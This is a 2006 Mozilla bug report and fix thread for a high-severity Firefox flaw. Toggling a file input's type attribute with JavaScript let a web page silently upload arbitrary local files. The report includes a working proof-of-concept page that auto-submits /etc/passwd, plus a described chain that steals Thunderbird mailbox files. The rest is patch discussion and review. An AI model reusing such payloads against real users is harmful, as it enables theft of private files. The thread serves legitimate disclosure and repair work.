Closed Bug 334977 Opened 18 years ago Closed 18 years ago

[FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript

Categories

(Core :: Layout: Form Controls, defect, P1)

Product:
Core
Component:
Layout: Form Controls
Version:
1.8 Branch
Platform:
x86
All
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla1.9alpha1

People

(Reporter: cmcauley, Assigned: sicking)

References

Details

(Keywords: fixed1.8.1, verified1.8.0.4, Whiteboard: [sg:high])

Attachments

(7 files, 6 obsolete files)

contains PoC demonstrating impact of this problem
13.66 KB, application/x-compressed-tar
Details
334977-unix.html - display /etc/passwd
450 bytes, text/html
Details
334997-win.html - display boot.ini
450 bytes, text/html
Details
Unix version with the submit off a timeout
479 bytes, text/html
Details
Final trunk version
30.59 KB, patch
Details | Diff | Splinter Review
Branch patch
33.63 KB, patch
jst
: review+
jst
: superreview+
jst
: approval-branch-1.8.1+
dveditz
: approval1.8.0.4+
Details | Diff | Splinter Review
1.0.x patch
22.77 KB, patch
asac
: review?
caillon
Details | Diff | Splinter Review 
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.0.7-1.2.fc4 Firefox/1.0.7
Build Identifier: http://www.mozilla.com/products/download.html?product=firefox-1.5.0.2&os=win&lang=en-US

I was trying to reproduce CVE-2006-1729 with very little details.

Came up with this code : 
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}


chuckfile was originally type textbox

it worked on the vulnerable versions of firefox listed.  Hey! I said to myself, alright!

posted it to a friend, he said he was patched.  Asked him anyways to have a look.

Now for the interesting part.

It still worked.  Not believing him, I ran over to a winxp machine 10 minutes ago, d/l'd 1.5.0.2 , and ran and it worked.

so attached will be lots of PoC and some other stuff for perusal.  The PoC assumes the user has a install of thunderbird on their linux machine, and tries to upload the mailbox store.

also in the tarball is a quick demo for windows people uploading boot.ini

Reproducible: Always

Steps to Reproduce:
Steps to reproduce:

if using linux with a LAMP setup do this:
throw all the HTML into /var/www/html (or somewhere similar).

visit sploit_1729.html


will attempt to upload /etc/passwd
parse that, find user dirs
then try to locate $USERDIR/.thunderbird/profiles.ini
upload that
parse that for profile dir
then try upload
$USERDIR/.thunderbird/$PROFILE/Mail/Local\ Folders/Inbox



There are also cve-2006-1729.html & cve-2006-1729_windows.html  which are quick dirty demo's of the prob
Actual Results:  
uploads my files

Expected Results:  
don't upload my files!

Here's a quick demo if you don't want a tarball


<HTML>
<HEAD>
<script>
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}
</script>
</HEAD>
<BODY onLoad="change();document.getElementById('aform').submit();">
<FORM id="aform" enctype="multipart/form-data" ACTION="uploadhere.php" METHOD="POST">
<INPUT id="chuckfile" type="text" name="file4chuck" value="/etc/passwd" />
</FORM>
</HTML>
confirmed with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060411 Firefox/1.5.0.2
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: blocking1.8.0.3?
Flags: blocking1.8.0.3? → blocking1.8.0.3+
This seems like something that was broken by the ordering change in bug 325947.
Component: Security → Layout: Form Controls
Product: Firefox → Core
QA Contact: firefox → layout.form-controls
Version: unspecified → 1.8 Branch
this doesn't seem to affect 1.0.8 with the way i have it lined up

on the js line where i assign type radio to the input box i tried out all HTML 4 types...

here are the results (Y signifies value stays in file box):
             FF 1.5.0.2 (win)       FF 1.0.8 (fedora-core-4)
foobar          N                    N
radio           Y                    N
checkbox        Y                    N
text            N                    N
hidden          Y                    N
password        N                    N
submit          Y                    N
reset           Y                    N
image           Y                    N
button          Y                    N


would any of you guys know whats going on between 1.0.8 and 1.5.0.2 that makes a difference with this?
Yeah, the regression range is consistent with bug 325947
Blocks: 325947
Chuck, 1.8 branch has asynchronous style changes; that means that the frame type doesn't change immediately when the content type changes.

Still sorting out what's happening here.
So the sequence of events here is:

1)  Text control changes to radio; mValue is null
2)  Radio changes to file; mValue is null, and since we're changing from radio
    we don't try to set the value in the frame.
3)  We submit, and get our value from the frame (in the original testcase).

An alternate end would be:

3')  Text control frame is torn down, stores its value in the content without
     checking the type (this testcase; I have a fix for this one but not the
     original one yet).
Summary: File Upload Box Still can have arbitrary file specified by monkeying around with javascript → File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Whiteboard: [sg:high]
Attached patch Proposed patch (obsolete) — — Splinter Review 
This is the trunk version.... I'll have to merge to branch if the general approach is ok by you, Jonas.
Attachment #219347 - Flags: superreview?(bugmail)
Attachment #219347 - Flags: review?(bugmail)
Assignee: nobody → bzbarsky
Priority: -- → P1
Summary: File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript → [FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Target Milestone: --- → mozilla1.9alpha
Blocks: sbb?
Attached patch Alternative patch (obsolete) — — Splinter Review 
This patch makes us compleatly separate filename from all other types of values. There should be no way we can get any type of value in there now. The only two places we set the string that is later used as a filename is after the file-selector has been shown, or when we restore state from a previous file-control.
Attachment #219415 - Flags: superreview?(dbaron)
Attachment #219415 - Flags: review?(bzbarsky)
Attached patch Alternative patch v 1.1 (obsolete) — — Splinter Review 
Forgot to run the final diff. This version works better.

Oh, i'm not sure if we need to call SetFileName in more places in nsFileControlFrame. Can you change the value any other way than by bringing up the file picker?

Also, I suspect nsFileControlFrame::Destroy can be completely removed.
Attachment #219415 - Attachment is obsolete: true
Attachment #219416 - Flags: superreview?(dbaron)
Attachment #219416 - Flags: review?(bzbarsky)
Attachment #219415 - Flags: superreview?(dbaron)
Attachment #219415 - Flags: review?(bzbarsky)
Attached patch Alternative patch v 1.1 -w (obsolete) — — Splinter Review 
For review goodness...
Flags: blocking1.8.1?
> Can you change the value any other way than by bringing up the file picker?

On trunk, I don't think so, but there might be an exception for privileged scripts.

On 1.8.0.x, yes, because on that branch users can type filenames directly into the textbox (bug 258875).
Ok, i'll write up a patch for 1.8.0.x too that calls SetFileName on every key-stroke then.

Note that privileged script can call .value = "foo" still, even on file-inputs.
Comment on attachment 219416 [details] [diff] [review]
Alternative patch v 1.1

Crap, i realized that there's still a theoretical risk that the normal value creeps into the filename since nsFileControlFrame calls GetValue.

New patch later today or tomorrow.
Attachment #219416 - Flags: superreview?(dbaron)
Attachment #219416 - Flags: superreview?
Attachment #219416 - Flags: review?(bzbarsky)
Attachment #219416 - Flags: review-
Jonas, the deadline for getting 1.8.0.3 approvals is tomorrow.  I'd really like one or the other of these patches to make 1.8.0.3 (since this thing is more or less out in the wild), which means it needs to land on trunk today or at worst tomorrow morning and start baking so drivers have something to evaluate when doing approvals.

If you don't think your thing will be ready by then, we should probably just check in my version, though I do prefer your approach.
Attached patch Alternative patch v 2 (obsolete) — — Splinter Review 
Actually, the last patch would have fixed all security issues too. However it might have been possible to trick the wrong file into being displayed.

So this one should be fine for trunk and 1.8.1. I'll attach another patch for 1.8.0
Assignee: bzbarsky → bugmail
Attachment #219416 - Attachment is obsolete: true
Attachment #219417 - Attachment is obsolete: true
Status: NEW → ASSIGNED
Attachment #219575 - Flags: superreview?(bzbarsky)
Attachment #219575 - Flags: review?(bzbarsky)
Comment on attachment 219575 [details] [diff] [review]
Alternative patch v 2

>Index: content/html/content/public/nsIFileControlElement.h

>+ * This interface is used for the text control frame to store its value away

s/text/file/, no?

I kinda wish we weren't adding another vtable pointer here, but I'm not sure inheriting this from one of the existing interfaces would work so well..

>Index: content/html/content/src/nsHTMLInputElement.cpp

>-   * The current value of the input if it has been changed from the deafault
>+   * The current value of the input if it has been changed from the default
>    */
>   char*                    mValue;
>+  /**
>+   * The current value of the input if it has been changed from the default
>+   */
>+  nsAutoPtr<nsString>      mFileName;

So how are the two different?  Document!

>@@ -619,18 +633,17 @@ nsHTMLInputElement::SetSize(PRUint32 aVa
>@@ -671,52 +695,82 @@ nsHTMLInputElement::GetValue(nsAString& 
>+nsHTMLInputElement::SetFileName(const nsAString& aValue)
>+{
>+  delete mFileName;
>+
>+  // No big deal if |new| fails, we simply won't submit the file
>+  mFileName = aValue.IsEmpty() ? nsnull : new nsString(aValue);

That'll double-delete mFileName and crash, no?  operator= on an nsAutoPtr deletes the old value.  So no need for the manual delete here.

>Index: layout/forms/nsFileControlFrame.cpp
>@@ -356,16 +314,19 @@ nsFileControlFrame::MouseClick(nsIDOMEve
>+      nsCOMPtr<nsIFileControlElement> fileInput = do_QueryInterface(mContent);
>+      fileInput->SetFileName(unicodePath);

Thanks to XBL, the QI can fail... So null-check, please.

>@@ -582,22 +543,22 @@ nsFileControlFrame::GetFormProperty(nsIA
>+      nsCOMPtr<nsIFileControlElement> fileControl = do_QueryInterface(mTextContent);
>+      NS_ASSERTION(fileControl,
>+                   "<input> element not implementing nsIFileControlElement?");

Take out the assertion; as written this code can't assert that.

r+sr=bzbarsky; for branch we need a version that deals with typing in the textfield, right?
Attachment #219575 - Flags: superreview?(bzbarsky)
Attachment #219575 - Flags: superreview+
Attachment #219575 - Flags: review?(bzbarsky)
Attachment #219575 - Flags: review+
> I kinda wish we weren't adding another vtable pointer here, but I'm not sure
> inheriting this from one of the existing interfaces would work so well..

I agree, this class has way too many interfaces. Might be worth looking into cleaning that up in general at some point. But that's a separate bug. This is a security patch, i want to keep it clean :)

> That'll double-delete mFileName and crash, no?  operator= on an nsAutoPtr
> deletes the old value.  So no need for the manual delete here.

Opps! Forgot that I had made that an nsAutoPtr. Would be good if nsAutoPtr protected against that.

> r+sr=bzbarsky; for branch we need a version that deals with typing in the
> textfield, right?

Right, got sidetracked today, but I'm almost done with that.


        Attachment #219347 -
        Attachment is obsolete: true

        Attachment #219575 -
        Attachment is obsolete: true

        Attachment #219576 -
        Attachment is obsolete: true

        Attachment #219347 -
        Flags: superreview?(bugmail)

        Attachment #219347 -
        Flags: review?(bugmail)

    
    

    
  
This is going to get almost no trunk baking before hitting the branch, please land today! And we need a separate branch patch too, right?

    
    

    
  
This has already landed on trunk, I just kept the bug open for branch, but i guess i should mark it fixed. Still working on the branch version.
Status: ASSIGNED → RESOLVED
Closed: 18 years ago
Resolution: --- → FIXED
Blocks: 331156

    
    

    
  

      
      
      
      

        Attached patch
          
          
        Branch patch
        — 
          — Splinter Review
      

    


  
This is the branch version. I made it react changes in the textfield by intercepting the input-events submitted from the anonymous content.

I also use a separate property name for file inputs to make sure that data isn't accidentally transfered <input type=text> -> nsTextControlFrame -> <input type=file>

Note that I found a bug in the trunk version of this patch. If the value is changed on the node directly the frame doesn't get updated. I've fixed that in this version, i'll create a trunk fix as well.

        Attachment #220104 -
        Flags: superreview?(bzbarsky)

        Attachment #220104 -
        Flags: review?(bzbarsky)

        Attachment #220104 -
        Flags: approval-branch-1.8.1?(jst)

    
    

    
  
Comment on attachment 220104 [details] [diff] [review]
Branch patch

r+sr+a=jst

        Attachment #220104 -
        Flags: superreview?(bzbarsky)

        Attachment #220104 -
        Flags: superreview+

        Attachment #220104 -
        Flags: review?(bzbarsky)

        Attachment #220104 -
        Flags: review+

        Attachment #220104 -
        Flags: approval-branch-1.8.1?(jst)

        Attachment #220104 -
        Flags: approval-branch-1.8.1+

    
    

    
  
Comment on attachment 220104 [details] [diff] [review]
Branch patch

Looks reasonable, fwiw.  ;)
Flags: blocking1.8.1?

    
    

    
  
Comment on attachment 220104 [details] [diff] [review]
Branch patch

approved for 1.8.0 branch, a=dveditz for drivers

        Attachment #220104 -
        Flags: approval1.8.0.4? → approval1.8.0.4+

    
    

    
  
verified fixed ff1.5.0.4/20060508/win/linux
Keywords: fixed1.8.0.4 → verified1.8.0.4
Flags: blocking1.7.14-
Flags: blocking-aviary1.0.9-
Whiteboard: [sg:high] → [sg:high] ff1.0/moz1.7 branches not affected

    
    

    
  
Though the testcases in this bug might not affect the old 1.7 and 1.0 branches some of the other filecontrol bugs found recently might, and this patch is likely to be the best fix for them. (some of the other fixes we've tried on trunk has tended to open new exploits)
Flags: blocking1.7.14?
Flags: blocking1.7.14-
Flags: blocking-aviary1.0.9?
Flags: blocking-aviary1.0.9-
Whiteboard: [sg:high] ff1.0/moz1.7 branches not affected → [sg:high]
Group: security

    
    

    
  

      
      
      
      

        Attached patch
          
          
        1.0.x patch
        — 
          — Splinter Review
      

    


  

        Attachment #225484 -
        Flags: review?(caillon)
Depends on: 387978

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: